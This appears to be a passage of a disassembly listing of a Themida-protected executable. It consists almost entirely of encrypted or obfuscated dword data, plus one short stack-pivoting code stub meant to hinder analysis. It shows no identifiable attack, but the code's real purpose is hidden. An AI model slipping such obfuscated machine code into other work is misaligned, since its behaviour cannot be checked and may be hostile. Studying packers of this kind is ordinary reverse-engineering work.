		dd 8E860EB7h, 66950AF8h, 0DDB091CAh, 0D4719E47h, 8232E2EAh
		dd 0C5C62394h, 9E39678Dh, 3D65EF7h, 4DE81819h, 46E111B8h
		dd 0B1F88B70h, 7F002F47h, 7A9h,	6AFF96C7h, 63F897C3h, 5EF38EBCh
		dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h
		dd 0A5D57C11h, 42B07D12h, 95C8E354h, 45172E43h,	0C269FC2Ch
		dd 3999119h, 0A308A715h, 0C3BE447h, 11B85783h, 9730D778h
		dd 0EBC18B2Eh, 88720C1Ch, 7C25BB8Eh, 9BC94Ah, 6CDDCB59h
		dd 0B7439C81h, 0C5DA43E4h, 2C748195h, 0BA68FD9Eh, 3D2BC937h
		dd 0E1CB5883h, 7D13AEE0h, 790FA2D4h, 9C451A8Bh,	0A8926543h
		dd 2C58018Fh, 6E5CEA91h, 439C44FDh, 45D47548h, 42DB8215h
		dd 45A11258h, 33A0439Ch, 55439C55h, 963FD5CDh, 8B24CB6Ah
		dd 39E999A1h, 9C35DA4Bh, 68522543h, 9B22A022h, 51F8CB41h
		dd 95021885h, 0D462453Dh, 0ED88BA63h, 0F493BF46h, 2913B44Dh
		dd 0BDB005D0h, 18D725h,	0A3B0000h, 44F48A82h, 0E8D26D9Bh
		dd 0A2F6B4A2h, 852CFF47h, 1A04h, 7C257A00h, 0ABCEB849h
		dd 0A7952B23h, 47A2CF51h, 5A03996Ch, 51EA912Ch,	25FC4E67h
		dd 269622A2h, 0CFB9375Dh, 31079ECEh, 0FC6F795Ch, 82BE3F6Eh
		dd 0A0000006h, 9A41D66Fh
		dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h
		dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4395C7BAh
		dd 0A1CEE05h, 0F7E59582h, 49A3F286h, 0B92AFED1h, 449A3F2h
		dd 0D776A231h, 60F69730h, 0A2F24472h, 953C0F47h, 0B247DE0Eh
		dd 8F2E5B04h, 97E64FE8h, 0AE873743h, 917FC5AFh,	0CE625710h
		dd 0A65F204Bh, 0CA60FDB8h, 507B6BDCh, 0F9E3B61Ch, 0C65B4FD6h
		dd 0E77D75FDh, 4F58A3F9h, 44EBBE1Ah, 4ADD0DB6h,	4C7B0AA3h
		dd 87710AB1h, 26BB5A86h, 47DDD55Dh, 4844D759h, 992F0214h
		dd 3A24BDF0h, 0F5E39321h, 10422484h, 0CC12FCCFh, 1042245Fh
		dd 5E4CFC8Ch, 104223EDh, 207B6538h, 8A05D016h, 57D75310h
		dd 3B000001h, 16877525h, 6149A3F2h, 0F981A48Eh,	63F20339h
		dd 3964B7E2h, 0C45F993Ch, 0B3C52ECFh, 0E45A1366h, 9F8D23C4h
		dd 47A29471h, 3BC2693Ch, 30D76C0Bh, 30BE6500h, 1AC15487h
		dd 1DC46393h, 597AE384h, 10554D7Bh, 9F8DD3BDh, 0A66257DEh
		dd 0EB1B0513h, 0E010B74Ch, 8D109E45h, 0ACDBC67Bh, 8EFFED44h
		dd 0D91C51B2h, 357B6506h, 3B0CA847h, 16BD588Bh,	78299A88h
		dd 0A174F506h, 6452E612h, 0F50677F3h, 23CA6B3Eh, 65A16FB8h
		dd 0B19FA9F2h, 0AA51E681h, 0A634DB7Ah, 29AF1D23h, 574199D1h
		dd 1FB5A934h, 607A031h,	8318EBF5h, 0A43A32BAh, 801F4BF4h
		dd 18925096h, 6A3DF305h, 5C8C35C3h, 9F8922C9h, 42D76E9Eh
		dd 25CC6B9Bh, 0FEE80059h, 59E730EEh, 9328BFEFh,	0CADE98A7h
		dd 462FB6DAh, 0AAADE758h, 5FFE2B7Ah, 0C4971FB8h, 0B5E48D23h
		dd 46DC751Ch, 0AAACE758h, 755F327Ah, 3897C76Eh,	48C33B63h
		dd 5FF59632h, 89F283B6h, 0B1DB856Bh, 0DAF3DD87h, 685B0D0Eh
		dd 0D761F4F8h, 99E3969h, 0E786B25Bh, 39CCFCFDh,	66540492h
		dd 0F4625AF5h, 0C9700B39h, 3FD5A830h, 625BE051h, 6E582BF4h
		dd 0ADDDC34Bh, 33E3791Ah, 0D6C05D8Ah, 613BCA90h, 1DB285F2h
		dd 307Ch, 820AF200h, 1806F48Ah,	6347A2F7h, 0E73CAD9Bh
		dd 0B487439Ch, 0B9E56C13h, 1708891Eh, 685CE797h, 0E57BE4D2h
		dd 0FFA8439Ch, 0F38C33D2h, 8C3C0F09h, 69FC2C50h, 9D830BD4h
		dd 0CC2DD46Fh, 85CAEC2Ah, 8728C953h, 0F32503F1h, 7D5047A2h
		dd 790C3EE7h, 780B3DE4h, 0BAA028D1h, 0B64CED88h, 0BEA85833h
		dd 210B53C3h, 5BBD2B19h, 3508419Bh, 9001EF9Fh, 0D43D952Bh
		dd 0B4870FA2h, 2BBF301Eh, 370A3D95h, 0F6A6344Dh, 952B9708h
		dd 250FE23Dh, 953B72DFh, 140C943Dh, 0F825CE7Eh,	5A6416Fh
		dd 853D51Bh, 0AB7E3B94h, 0E8CB3804h, 15F8378Dh,	0CA10C50Bh
		dd 46CA2BC4h, 0F2000000h, 0ECE35442h, 5B2E378Dh, 820AA571h
		dd 0F236A795h, 0C08149A3h, 0BA53FA93h, 0C25B8A19h, 4BE1821Bh
		dd 28C5F29Bh, 0F70AF83Eh, 825547A2h, 0ED9D4DDBh, 9CE78EFFh
		dd 3206D943h, 439CE7C1h, 544F390Ch, 27h, 0E2A225CAh, 5C8F66EDh
		dd 0E9B32412h, 2BFE49A3h, 0F57DA08Ah, 237967FDh, 3E47A2C6h
		dd 12B34E7Dh, 434DD6Bh,	2CBB8771h, 409369FCh, 42FC6FD4h
		dd 32B9213h, 18490000h,	1541E87Dh, 103EE57Ah, 0A39E075h
		dd 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah, 0FA8F2254h
		dd 0EF842353h, 55C6B422h, 0A04395C4h, 0FC2CB789h, 8434C269h
		dd 0A3F22596h, 349D7049h, 8AFC1A8Ch, 0E7E8D2AFh, 0E18A20B7h
		dd 272E18B3h, 48DED65Eh, 0A302B05Ah, 2986B47h, 0A28C2759h
		dd 0D250BD89h, 9A7D439Ch, 0DC8B4A8Ch, 5A511FB5h, 79000000h
		dd 0CA6ADBC9h, 0E2B5439Ch, 0F7DA8F79h, 0DF7C93Fh, 87752541h
		dd 49A3F216h, 81A48E61h, 660339F9h, 0D52D4963h,	45EE9E34h
		dd 4F957F12h, 47A2E9CDh, 800937F8h, 750EB550h, 0F3942DD4h
		dd 0C913804Ch, 0B040439Ch, 0B909592Dh, 9C86104Ch, 0E4F1F741h
		dd 0F61FB628h, 0C7h, 69FC2C5Ah,	6D083BC2h, 780F3FC6h, 689A43D1h
		dd 0A38D26CDh, 3ED372A2h, 0A3EEBA52h, 6E9A4349h, 0A58F28CFh
		dd 4CE174A4h, 2DC8F59Eh, 203ED86h, 0E38C33D2h, 1DCD635Bh
		dd 9B04174h, 52408670h,	9D47A2CFh, 0FAE08E02h, 0BBE74999h
		dd 3BDC751Ch, 0B43C059Ah, 0CD7626BCh, 51E4169Fh, 0E17011AAh
		dd 0D77017B2h, 9917A7EDh, 8B5E4194h, 88194CF5h,	9A194CF3h
		dd 79EAD868h, 0C43D9289h, 0D9AF50F1h, 0F07EBDF0h, 0D61A9BCAh
		dd 0F4000001h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h, 0E68D22BBh
		dd 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h,	45E010B7h
		dd 8775E3B0h, 4395C216h, 2C784A61h, 0AD487AF9h,	0A0D0770Ch
		dd 0AFE7005h, 44F48A82h, 0A3F1E556h, 735D3049h,	0DB38BB6Bh
		dd 62F5256Eh, 0A5376DF9h, 0C5B0210Fh, 28FB49A3h, 0D476F83Eh
		dd 0CEA147A2h, 0B3EE5B27h, 8B1B439Ch, 6C13B2E2h, 808EE9D3h
		dd 0B5FE973Eh, 0B6451Fh, 0BD6D0000h, 9CC05ECFh,	3CAD9B43h
		dd 87439CC0h, 6F592CB4h, 69FC2CA3h, 6D083BC2h, 5C8F38C6h
		dd 9F8922C9h, 0A3EDC159h, 86215149h, 8D1A4AF1h,	8821C85Bh
		dd 0F9740E7h, 0A5938117h, 0E247A2CDh, 0CA710C39h, 8C4D4731h
		dd 901EC560h, 9CBD31A2h, 8A97C43h, 8109D267h, 6005F389h
		dd 1B419523h, 0D609B248h, 0CCFFA63Bh, 34646339h, 2F5EF07Fh
		dd 0E4AEh, 34D10200h, 31CCF89Fh, 2CC7F59Ch, 28C1F097h
		dd 28B9EC93h, 25E0F893h, 23CA5FF2h, 1BC257F6h, 12B94EE9h
		dd 0E1AE43E2h, 0C1148573h, 485F4395h, 68F92C76h, 7BFC2CD3h
		dd 8209B04Fh, 7A13BA53h, 31A338D9h, 0C269FC2Ch,	0D76C0B3Bh
		dd 0E9E6A629h, 88A1086Ah, 0FBF37B9Eh
dword_5AF940	dd 0D8C1E265h, 168B3C85h, 6DF00DADh, 412B9A03h,	0CA414B39h
					; DATA XREF: Themida_:0053CD88o
					; Themida_:0053F1ECo
		dd 0A97C4799h, 0AC4B7B02h, 0A5407017h, 92ED70FEh, 0B33F484h
		dd 2AABF1DBh, 4E0E4DB4h, 30A18F21h, 7BF84D34h, 0D96007A8h
		dd 0C1680FAAh, 1AE626F0h, 660131DAh, 2917217Ch,	1BC95EF9h
		dd 340C7D6Bh, 8457F84Dh, 0CE69999Ah, 0BEF09927h, 9383923h
		dd 16B75682h, 1CB5E86Fh, 27BEEE75h, 3E08D980h, 0F4428BFEh
		dd 0E67B1A4Ah, 0D1780F3Fh, 0CE679A43h, 3E9E4h, 5E5F0000h
		dd 6AFB2C7Ch, 790C3CC3h, 7E194BD2h, 8A2350D7h, 98295CE3h
		dd 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah, 17686711h
		dd 89000037h, 89512414h, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 2404895Ch, 5E08950h,	4, 8704E883h, 895C2404h, 6851242Ch
		dd 33BC279Fh, 63F18159h, 5135B202h, 0C9685958h,	8900005Dh
		dd 4832424h, 505D0424h,	0B3240481h, 8F79914Fh, 0B8500845h
		dd 0CB758Dh, 0F705E0C1h, 19F235D0h, 0D8F76A9Ah,	7967C005h
		dd 3FA00539h, 4529CC23h, 2C8B5808h, 0E2895224h,	4C281h
		dd 0C2810000h, 4, 5C241487h, 5124048Bh,	0C181E189h, 4
		dd 4C181h, 0C870000h, 0A8E95C24h, 20FFF94Ah, 0DAA1459h
		dd 364A9099h, 0B82EC8A7h, 60E3233h, 0E0FFC503h,	46D124D9h
		dd 34F18EAAh, 145E27D0h, 2B6AF55Ch, 2471AD7h, 64F7134Dh
		dd 4DFC1D1Dh, 5ACC4838h, 6E512DCCh, 1D210E13h, 0BC46BF9h
		dd 2171CF4Bh, 7B2E340Eh, 78E9536h, 7B5E5843h, 847404EBh
		dd 85E93D3Ch, 0F4000005h, 0F69D32C3h, 0EF962BCAh, 0EA9126C1h
		dd 0E68D22BBh, 0F28D22B3h, 59EC1FDAh, 55F01DC4h, 4CE719C0h
		dd 45E010B7h, 8775E3B0h, 4395BF16h, 2C784A61h, 3BC269FCh
		dd 31D86D08h, 31BF6601h, 0D6C05988h, 6B12A5D5h,	761DB8E4h
		dd 832ABDEFh, 9037CAFCh, 2FEF39CCh, 0D146D063h,	755FFA28h
		dd 1CB14474h, 1BB04375h, 8AF4274h, 23B95481h, 7AE477Ah
		dd 6B846Eh, 8DBF69B7h, 8EBE65FAh, 168450F7h, 0FE49A3F2h
		dd 0F6A69BA5h, 0A3F29708h, 0F321E249h, 74CDB758h, 19AEC061h
		dd 0D043E467h, 9C17D03h, 0CA68D3DEh, 1AA94A81h,	726650EDh
		dd 74h,	69FC2CD6h, 6DFA2AD3h, 64FDA43Fh, 99831CC3h, 0F249B480h
		dd 0D42D49A3h, 0C051844Ah, 0C77719AEh, 0AE55F01Eh, 0E6D04115h
		dd 793A49A3h, 4C79ED0Dh, 5C4619A1h, 168h, 7C25CC00h, 0CDCEB849h
		dd 0C91D3EA1h, 54120A81h, 59850CB3h, 619017BEh,	6E9A21C8h
		dd 74A128CFh, 761DB8EBh, 25953CDDh, 0C5F25CEAh,	47E88128h
		dd 0F05EE87Bh, 0ED9429C4h, 23952ABDh, 0C168F92Ch, 0C86F0E3Ah
		dd 0CF761141h, 0DA811C48h, 58D46233h, 0EE58E69Fh, 0EE952ABBh
		dd 0E9127BEh, 0A7E37E83h, 3868F71Ch, 735DF69Dh,	0AA5D35Ah
		dd 54E2C563h, 0AF245392h, 1CC57519h, 14AD54EDh,	0A386CF40h
		dd 29591A49h, 0AD4EE78Eh, 72CFC3h, 2C330000h, 33C168F9h
		dd 938933B0h, 13FD2111h, 0A249E412h, 0A84FEE1Bh, 0B35AF521h
		dd 0FE3E0843h, 3A6FF232h, 7E401CE9h, 95A3FEE8h,	48DD78ABh
		dd 2CD36EA1h, 34DB76A5h, 6365B396h, 19AFB282h, 7778h, 0DA1DA000h
		dd 6487C06h, 2C5A2610h,	3AC168F9h, 56C66D08h, 93C56Eh
		dd 7BD6C059h, 0B55083ADh, 9AC97220h, 56BF58FFh,	6C9108DDh
		dd 20ECD605h, 0CF65002Ch, 3B799B4Ch, 5C463A08h,	1705B543h
		dd 49A3BFA6h, 0E25F56F1h, 0BC41520Fh, 7DEB311Bh, 6549A337h
		dd 0F283B65Fh, 36FD6E5Ch, 754849A3h, 0E0E6308Bh, 19AF7AF5h
		dd 0BE7h, 715F0F00h, 49A33B00h,	0C28E784Bh, 0BC63FE2Ch
		dd 0CB720535h, 1F091760h, 0F8C156F1h, 0F4E27870h, 47A3097Ah
		dd 198F0487h, 727FB6FFh, 7309AA43h, 9BFD1485h, 0A28C5F43h
		dd 16E0DA8h, 9731610h, 9CE9AA1Bh, 8122F543h, 82B239E0h
		dd 9E2DC8F5h, 0A036D76Eh, 862DC8F7h, 55FC03EDh,	1FEB9225h
		dd 439CE9B4h, 0D846D00Bh, 0F4770DA8h, 1B1220A2h, 121903DFh
		dd 0F59C3B6Bh, 0F98CBE67h, 0CECFB952h, 0AF60079Eh, 4EF728F6h
		dd 999A8421h, 3A39CE69h, 1FB6199Bh, 0BC55842Dh,	0C0ED7C15h
		dd 0FBE57E25h, 15207h, 58862F00h, 0A07D3BDh, 36A79582h
		dd 8149A3F2h, 0F4770DAEh, 1297F0B7h, 47DE0EFBh,	7C6607A0h
		dd 99D88674h, 0DBA347A2h, 9C897CEDh, 8BF4C743h,	47778D0Fh
		dd 0A74EEF86h, 51FB9619h, 0CC54426Bh, 16B1E1E2h, 0BAADA81h
		dd 1AADDD64h, 0B35CC273h, 0A1FCE681h, 0DE79A997h, 698B4A49h
		dd 63511FB6h, 79000000h, 0EB1AA1D0h, 7112AB52h,	75A231CAh
		dd 0AE9831D8h, 4D7C25E2h, 0DA6ADECh, 0E1822898h, 94B7A13Ah
		dd 0D383190Dh, 0B65DF82Ah, 0CCED331Dh, 7749A350h, 0BF6FFDA4h
		dd 0A35060D1h, 0EED8AB49h, 0A35037A8h, 0BC8A5B49h, 5FF5E970h
		dd 0A3505071h, 9328FB49h, 0AC0D3CE5h, 8932EED2h, 2A14B581h
		dd 8E2Fh, 7C25A500h, 0F527B64Fh, 0CD557862h, 0F281F2E0h
		dd 0F9CC49A3h, 62D4C258h, 0AD47A2EEh, 6C9B44DAh, 47CEE7D1h
		dd 41EA8017h, 858C7611h, 7017AEDEh, 9CEDECA4h, 0B64F7C43h
		dd 0C25B880Fh, 2E9F8D1Bh, 79439CEDh, 25F32EA6h,	0E83671E9h
		dd 0E2770E3Eh, 3999119h, 92DA8D15h, 0DA0DB641h,	90635D47h
		dd 9E3262E9h, 8EBA3FB0h, 1D8E7C3Dh, 683D8EBAh, 993A0D95h
		dd 0F03E87F2h, 0EA49C24h, 84A79820h, 2311C13Bh,	378087B2h
		dd 46402AFDh, 0A6CDE73h, 6F48A82h, 4799DF7Eh, 9809F7A7h
		dd 24395BFh, 813D9B59h,	4E21A992h, 0F0976A64h, 99E3969h
		dd 4CBDAB5Bh, 97439507h, 0A9D9DAC4h, 4AF5780Eh,	890F3CD3h
		dd 0C6546D57h, 2B72816h, 0C9FB4395h, 0B3E5A62Eh, 3FE07920h
		dd 76380F55h, 780B7EC6h, 0C05080AEh, 624661D2h,	0F6E4AC08h
		dd 8624685h, 0BB5CFDD0h, 0B84F7F26h, 0A7DA8311h, 0B259F420h
		dd 6F0F7819h, 53950FC7h, 67969781h, 73BC27CEh, 0BE4B7BA5h
		dd 0C358F98Ch, 396BEC1Ch, 0BE67FD9Eh, 0B34CF392h, 32FB0C9h
		dd 0A5000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh
		dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
		dd 506711B8h, 0BB53E089h, 357000A7h, 12B6F381h,	0EBC17CB4h
		dd 4DC38105h, 8154F916h, 0A3648BE3h, 18E3815Bh,	813A2B4Ah
		dd 0FCFFFCC3h, 5BD801EDh, 8704E883h, 685C2404h,	167Ah
		dd 68242C89h, 280Dh, 57240489h,	571EEABFh, 0E3CF8130h
		dd 81758B02h, 4A7684C7h, 0C1D7F74Ch, 0C78107EFh, 37881636h
		dd 8FD3EF81h, 5D5731F5h, 48B545Fh, 4C48324h, 86852h, 15A0000h
		dd 5A2A89C2h, 582434FFh, 4C481h, 34FF0000h, 0C4815D24h
		dd 4, 0F944D6E9h, 54B357FFh, 81AD442Fh,	9ACCF1EFh, 1B26714Bh
		dd 0E3818B8h, 0FFC50306h, 230625E0h, 8D65E5Ah, 6FBA292Dh
		dd 0A3ACB846h, 3C0B6A2Ch, 0AEE6D170h, 9D212D70h, 0ADBA1A74h
		dd 0FF14530Eh, 4004EB25h, 0E9330668h, 502h, 0DA6F0637h
		dd 0D3680733h, 0CE63FE2Ch, 0C85DF827h, 0BE53EE21h, 1D500B23h
		dd 1B48EF84h, 1446ED82h, 1545EC81h, 0B220ED82h,	95BA53C4h
		dd 0B5879E43h, 0C269FC2Ch, 0D86D083Bh, 0D0660131h, 0CF16A4Dh
		dd 5A8C70D2h, 233C26C7h, 32D96C9Ch, 4AE07FABh, 83BAC9Ah
		dd 0B38649A3h, 59ECB0C9h, 0A13161CFh, 0A30842B3h, 0D7C58D49h
		dd 49A30866h, 9C3DDEB1h, 0F7685606h, 4249A307h,	81B8C7Ah
		dd 936649A3h, 5A0108F2h, 74F78D28h, 0BBDE2A6Eh
		dd 2754E3E4h, 0F69DA48Eh, 38A31C4h, 801B49D6h, 0F89F40D9h
		dd 4CFA448Dh, 4BF2871Ah, 9D57C1Bh, 49A39A9Bh, 0DA1C2A83h
		dd 19AF17FBh, 8CE1h, 0FC2C4500h, 8BF6C269h, 0CB49A3F2h
		dd 0D259009Fh, 0F15C03A2h, 0B39E9EA8h, 3FD204ADh, 49E41198h
		dd 7E6809A2h, 2D31523h,	0D819AEC0h, 1, 65002C3Ch, 6C0B37BEh
		dd 6AFD2DD6h, 8DBC0D01h, 412BA303h, 0F72A128h, 8392AAECh
		dd 987DE363h, 7E3BA811h, 0F39C32D3h, 0F98027C6h, 0A79132CDh
		dd 40D7078Eh, 55E21299h, 50E99023h, 906108AFh, 7ABA8686h
		dd 6108A3D1h, 0B74E5D3h, 0ECBF49A3h, 3806614Bh,	0AE43E20Eh
		dd 0AB40D707h, 68F92C39h, 810E3AC1h, 7710B752h,	0C57E2FD6h
		dd 2816C67Bh, 49A3F2B7h, 44452F02h, 44EB8011h, 68EB8114h
		dd 0E89079B8h, 9DC958BFh, 0D8C25B02h, 6F0A38BFh, 0F19A2AC8h
		dd 0E13C26C1h, 0B39E257h, 4630C970h, 0AF72F8EDh, 58E219h
		dd 2C460000h, 3AC168F9h, 6CA710Ch, 487BA573h, 0BA6A18ADh
		dd 0A3F25BCCh, 0E9D3A649h, 751CB5E8h, 9026BFEEh, 0F281F2E0h
		dd 0F9CC49A3h, 7558F60Fh, 0BDC025ABh, 521A19AEh, 42000000h
		dd 0E8D26D99h, 68F92C1Ch, 7AB033C1h, 0EBAAE2FFh, 0D90B0CF6h
		dd 0EC27973Eh, 30C1F422h, 2C299Bh, 274CCF65h, 29BAC795h
		dd 45112A14h, 49A357D7h, 67D866BFh, 0CB67FBE4h,	0AB959739h
		dd 0AFAE8352h, 0B5919h,	0D8810000h, 59F423ACh, 8E7811B8h
		dd 19A225C2h, 13593D51h, 68969781h, 6F9F26CDh, 0EA84F5E3h
		dd 0FCCF49A3h, 5349B45Bh, 0EA44B5A3h, 0BC8F49A3h, 7FA977D2h
		dd 5821B651h, 20BDEAD0h, 0A93FE079h, 0A30141BBh, 0E2895C47h
		dd 0F68C2B5Bh, 214F3573h, 67519AC1h, 0EE89B960h, 0EA107B47h
		dd 2C67439Ch, 710434E2h, 720535DCh, 811444CBh, 0A93768EBh
		dd 7FF5970Fh, 12CB7C95h, 4BEA1A04h, 0F1EB7B6h, 0FFA81FB6h
		dd 2C8D34D3h, 6DCDEA6Dh, 4A34D563h, 13B56h, 820ABA00h
		dd 184BF48Ah, 224FD67Dh, 0F0F8E283h, 4E4FBD40h,	0E86CBECFh
		dd 220AB8FEh, 1EC747A2h, 756F59ECh, 4A929EDAh, 0EB7AEE16h
		dd 0E07920BFh, 0E111983Fh, 8003B146h, 965D3DFDh, 42710068h
		dd 7D6700A7h, 23B94C7Ch, 55148573h, 8C5F439Ch, 52FB89A2h
		dd 9FA08A23h, 8031D86Fh, 1FC879C7h, 6B6C56F1h, 0E481AE3Bh
		dd 6E03A43Dh, 0B65D666Fh, 3C741Fh, 0AD80000h, 0BF98F83h
		dd 49A3F2EAh, 17AEDE87h, 0B960332Dh, 0A3F27CEDh, 41CFA049h
		dd 0A43A2EB5h, 39971121h, 7B655D2Dh, 1E648573h,	3C0F49A3h
		dd 2450F9A7h, 5F49E289h, 8B64h,	820ADA00h, 37D8699Ch, 0EE41B3A1h
		dd 0C48C47A2h, 9CEE65D6h, 3CDDB043h, 47DE0E95h,	3CDB0BB2h
		dd 0EE11C995h, 7DB8439Ch, 0A5D57EB3h, 0B6E46B12h, 3ADB741Bh
		dd 881F4F50h, 0DEC245F3h, 77226A86h, 0D961846Eh, 75C84BE1h
		dd 2D5AD596h, 7B22B3E6h, 4F5741E2h, 92529861h, 0D9805341h
		dd 0ED832252h, 90A7B86Ah, 87F08440h, 370CAC7Ah,	0DCF5DF3Ch
		dd 0E1E2871h, 8EFFC686h, 0BCC238Fh, 1DE6D46Ah, 0CA3B8465h
		dd 6E58F321h, 9A0CA174h, 0F48A820Ah, 0AA1FC144h, 0C52B49A7h
		dd 0A35080F1h, 0EF8CB49h, 80D35606h, 0DA37E6AAh, 662F755Fh
		dd 214799D7h, 0F020A74Eh, 0E919C055h, 6ADBA74Eh, 71708DF0h
		dd 36DF50DEh, 32CB7203h, 80174748h, 0DB4C3AEAh,	260E8D50h
		dd 0BB626953h, 0BE45EC8Bh, 0E44FF68Fh, 7C1745EEh, 3FE93792h
		dd 35E3780Fh, 50269785h, 9E710E8Dh, 9FD42F35h, 432D9FE1h
		dd 0CC731242h, 0D4Bh, 405EC100h, 0F231A290h, 0A97C49A3h
		dd 0FB2CF3BFh, 0C3CC36Ah, 194BD279h, 2350D77Eh,	295CE38Ah
		dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h
		dd 648Dh, 24048F54h, 4240483h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 0A682404h, 8900006Eh, 0F5682434h,	58060E38h
		dd 24348B54h, 6804C483h, 1C3Ch,	8F240489h, 348B0846h, 0E0895024h
		dd 405h, 40500h, 4870000h, 48B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544543
; ---------------------------------------------------------------------------
		db 5Bh,	8Eh, 0F4h
		dd 84B8819Eh, 3060E3Dh,	75E0FFC5h, 8933B7BAh, 62665AF1h
		dd 6B63B956h, 553ACA74h, 5C2185CFh, 6A2CA944h, 0D1371A7h
		dd 0D90BF23Ah, 0E91F6A99h, 9B37EFCDh, 991DAFCFh, 267920B3h
		dd 0B30FB442h, 754E4158h, 0C039BE07h, 5B3440B8h, 0EB11D222h
		dd 1370A104h, 53CE91Eh,	0ACDD0000h, 0B1DD8419h,	0ACDA8116h
		dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h
		dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395B4h, 75256335h
		dd 0A3F21687h, 0A48E6149h, 0B6E673A3h, 50D77E1Fh, 45EE841Dh
		dd 8C937D18h, 7B22B5E5h, 8A31C4F4h, 0A238D703h,	4832CDF9h
		dd 4ED86B2Fh, 8015B0E0h, 0BBB24FD2h, 5872E014h,	9783B7EFh
		dd 56408BD6h, 95C82355h, 0AF81F5ABh, 0DC8318B9h, 0E97017AAh
		dd 9C0333BCh, 0E16614E6h, 0EB8C2D7Eh, 8690D944h, 36CB6698h
		dd 21C85F8Fh, 0B6F51093h, 2830EE55h, 0A88AF83Eh, 197249A3h
		dd 0A0CC90Fh, 73CE19AFh, 0F6000000h, 9E881B4Dh,	507C25D2h
		dd 0BA5AD8EDh, 0D273BD3Bh, 0A7A8922Bh, 6D39E077h, 49A33C02h
		dd 0D37A1342h, 0E2891C4Ch, 2DE93772h, 995FE942h, 19AF763Ch
		dd 19Eh, 2C0200h, 0F2118270h, 895C49A3h, 77A952E8h, 52D9F2DCh
		dd 59E08726h, 24E88F2Ah, 326761E4h, 25DEF9EFh, 0E156E03Bh
		dd 816B0638h, 24B95480h, 24BA4D7Dh, 5D21FDA1h, 624CDEC2h
		dd 0F92CE95Bh, 0E3AC168h, 5A56D96Fh, 68980EEAh,	0F67D9680h
		dd 872EC7h, 23933AD3h, 25DE5EE8h, 4174A26Ch, 44741BB0h
		dd 55830AB1h, 57EA1CC5h, 0D24317B0h, 1D49A3D6h,	782C1082h
		dd 51F2A942h, 3F711AB0h, 0D97679DCh, 23C4034Ah,	2FC2F57Ch
		dd 0BF4EEF88h, 0B54EF590h, 3114B2CBh, 5C8932E7h, 61931AC1h
		dd 0E23B25C6h, 19AF3B03h, 58F9h, 83712100h, 49A37B12h
		dd 0C8FB8A5Dh, 2C77432Dh, 3AC168F9h, 6CA710Ch, 487BA573h
		dd 0F259CAB8h, 6B9D49A3h, 5D8F50D8h, 0E98A23CAh, 0D90CB348h
		dd 0EB1AA148h, 2A0DAB52h, 0BE0BDA1Ch, 41F119AEh, 55000000h
		dd 0C168F92Ch, 0C66D083Ah, 1C0D1B56h, 0BAA44373h, 56EB86B9h
		dd 65002CE4h, 0F284F2BEh, 96C849A3h, 9C43DE0Dh,	34BB6203h
		dd 43CA7104h, 0C3FE7611h, 75CEB975h, 0BFB025ABh, 12A19AEh
		dd 8E000000h, 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h
		dd 0E4F68490h, 26106188h, 0ED837B03h, 947E1744h, 6249E8Ch
		dd 6C3F47A3h, 66012DD6h, 679726BFh, 0A69029D0h,	51D6068Dh
		dd 0CEFA8924h, 4EEF882Fh, 43E212B9h, 38650E9Ch,	46DF0E9Dh
		dd 0D61C069Fh, 439CD66Bh, 0C1F17EABh, 45E67F26h, 52E5179Eh
		dd 0E53304ABh, 0A876B129h, 22B74E7Eh, 5AC4B7Bh,	0A3EF4E7Eh
		dd 0E3CC03CFh, 2FD06194h, 5A48F88Eh, 439CD4E9h,	5E776134h
		dd 0D7C447ADh, 0C6C037BDh, 9FA904EEh, 180D27AAh, 7F694F41h
		dd 0D1649495h, 0DA983D3Ch, 7421FB5h, 6A000001h,	0F1CB5DE7h
		dd 856A2400h, 23A00919h, 2B682322h, 0EB4B43EEh,	0A94604Ah
		dd 6F48A82h, 47A2FA58h,	0ABA5023h, 9CE9AB1Ch, 3923F643h
		dd 470F9220h, 48B5278Ch, 46767761h, 43731AAFh, 4676FDA4h
		dd 9E5708AFh, 0DF76A690h, 0FA8A4B4Ah, 33501FB5h, 0B4000000h
		dd 0F98F830Ah, 0A3F2EA0Bh, 2CC29549h, 58EE5183h, 0A828381Bh
		dd 0C4DDC768h, 0A3D987F8h, 4CDAAB49h, 0AF4539C0h, 0A3D9A0C1h
		dd 0E3784B49h, 8142h, 820AB800h, 0C144F48Ah, 8E53C5F3h
		dd 0D01600AEh, 47A2175Eh, 0A12FD6A9h, 8A31CCF8h, 0D60607F1h
		dd 0D303AA3Fh, 9C18D34h, 99439C17h, 9D24CB66h, 0C030D76Ah
		dd 37BBB85h, 0A0D07EC8h, 1FA77005h, 0BCE89127h,	7F2F3721h
		dd 250FA6D6h, 9208B0DFh, 0FDA47741h, 19AF4676h,	53BCF396h
		dd 0B9A5024h, 39523CDBh, 6BBB85CEh, 0A555EBE3h,	4D37CAFCh
		dd 831FD807h, 37CC9F3Bh, 76400689h, 0CD0A450h, 820A5622h
		dd 1B4BF48Ah, 9C8A927Ch, 4799E46Dh, 22CB6134h, 19B259F4h
		dd 5F8F162Fh, 0B474E5D3h, 0ECBF4395h, 0DA0CB54Bh, 1D07A047h
		dd 0A83F6F16h, 9CCA7301h, 0D7C15A01h, 9AA17B91h, 55DD0F5Bh
		dd 787FF667h, 0CD6E412Bh, 0D4739F26h, 0AF79C22Dh, 610A36Fh
		dd 6A58E818h, 2B787FF9h, 98C12E63h, 8911FE21h, 62804DB6h
		dd 81280DE2h, 74A44BE0h, 84B33AE1h, 89BB42E9h, 93C047EEh
